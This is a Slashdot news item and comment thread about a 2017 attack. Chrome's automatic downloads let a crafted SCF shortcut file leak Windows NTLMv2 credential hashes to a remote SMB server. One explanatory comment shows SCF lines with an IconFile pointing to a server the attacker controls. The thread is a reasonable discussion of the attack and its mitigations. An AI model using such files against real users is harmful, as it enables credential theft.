Follow Slashdot blog updates by subscribing to our blog RSS feed

 



Forgot your password?
typodupeerror
×
Security Bug Chrome Windows

Stealing Windows Credentials Using Google Chrome (helpnetsecurity.com) 53

Orome1 writes: A default setting in Google Chrome, which allows it to download files that it deems safe without prompting the user for a download location, can be exploited by attackers to mount a Windows credential theft attack using specially-crafted SCF shortcut files, DefenseCode researchers have found. What's more, for the attack to work, the victim does not even have to run the automatically downloaded file. Simply opening the download directory in Windows File Explorer will trigger the code icon file location inserted in the file to run, and it will send the victim's username, domain and NTLMv2 password hash to a remote SMB server operated by the attackers.
This discussion has been archived. No new comments can be posted.

Stealing Windows Credentials Using Google Chrome

Comments Filter:
  • Firewall Blocked (Score:5, Informative)

    by darkain ( 749283 ) on Saturday May 20, 2017 @02:03PM (#54455771) Homepage

    And this is EXACTLY why all of the LAN > WAN firewalls I manage have SMB/CIFS blocked. There is no reason to send that traffic over WAN. If it is needed for connection to a remote location, that's what a VPN connection is for.

  • I can't get over the fact in 2017 Microsoft has yet to incorporate a single secure authentication protocol into any of its operating systems. They haven't even tried.

    It would be relatively trivial to select a PAKE and make it backwards compatible with existing NT hash databases. They just don't seem to care.

  • by omnichad ( 1198475 ) on Saturday May 20, 2017 @03:20PM (#54456055) Homepage

    This is a Windows problem, not a Chrome problem. Windows shouldn't be sending out credentials unless it knows they belong to the server it's authenticating with. This is like visiting a random web page on the Internet and Chrome helpfully filling in the login box with your bank username and password.

    • by Anonymous Coward

      How is automatically downloading random files to peoples computers not a browser problem?

      • by jargonburn ( 1950578 ) on Saturday May 20, 2017 @11:04PM (#54457569)
        Simple: downloading this specially crafted .scf has absolutely no effect....until it is opened/parsed by the application "Windows Explorer". The vulnerability is in Explorer, not Chrome.

        It'd be like saying that downloading a specially crafted PDF file that will compromise your computer when it's opened is a browser problem. Well, since opening Explorer to your downloads folder is a bit more innocuous, it's a bit worse than that.

        • by Hank the Lion ( 47086 ) on Sunday May 21, 2017 @06:20AM (#54458407) Journal

          Mod parent (and GGP) up.
          This is a Widows vulnerability in the way link files are handled, that is mischaracterised as a Chrome vulnerability by the author of the article.
          Link files (.LNK and .SCF as well as autorun.inf and maybe others) do not contain the pretty icon that is shown in Windows Explorer, but contain a link address to the file containing the icon.

          [Shell]
          IconFile=MyPic.ico, or
          IconFile=MyProgram.exe

          This is the case that was originally targeted by the developers of Windows.
          Then came network filesystems. Now, this would also work:
          IconFile=\\MyServer\Dir\MyProgram.exe, or even worse:
          IconFile=\\180.180.180.180\Dir\MyProgram.exe, where 180.180.180.180 is a server under control of the attacker.

          When connecting to a server, Windows helpfully sends your current login credentials, to prevent you from having to re-type them every time.
          Only when these do not work does it display a login prompt.

          The catch is, that, when you open the directory in which the file is stored in Explorer, the icon is needed for display, and the scf file specifies an icon file on a remote server. So, Explorer accesses the remote server, and the underlying network file system sends your login credentials.

          Google has tried to mitigate this problem by adding a .download extension to .LNK files, but had overlooked that .SCF can do exactly the same. Ultimately, this is not Google's fault. The Windows network system should not send login credentials to a server that the user hasn't authenticated to manually before, or should only use authentication mechanisms that are immune to replay attacks or brute forcing. See Wafflemonster's post [slashdot.org] above.

          This is an issue that should be addressed by Microsoft for once and for all at the filesystem level, not by browser makers with patchwork on a case-by-case basis.

    • This is absolutely a Windows problem. It's Windows Explorer initiating the connection and it should *not* be doing that for any files that have a Zone.Identifier alternate data stream (i.e.: any file downloaded from the internet that hasn't yet had the Unblock button clicked in its Properties tab).
  • Usually when one attempts to connect to a network share, credentials are prompted. Why is it different here? How does Windows decides what credentials should be sent to the attacker's SMB server?
  • Just disable automatic downloading by enabling the "ask every time" for the file location. That's a good idea anyway.
  • This can happen with any browser if you configure it right. Once Chrome downloads the file it is in no way part of the process... depending on how exactly the SCF file works it might be considered a Windows bug and Microsoft's responsibility to fix (I didn't look at it too closely). Google will fix this on their end by blacklisting SCF files as dangerous to download, which they already do for many suspicious file types that you typically wouldn't be downloading. This will result in a warning prompt if you t
  • In my setup nothing is allowed internet access unless going through my proxy. Windows is not privy to what that proxy is... this effectively kills tons of exploits, and of course, Windows own spyware.

    It does limit me to software that can be configured to use a proxy, but that doesn't really bother me.

If all else fails, lower your standards.

Working...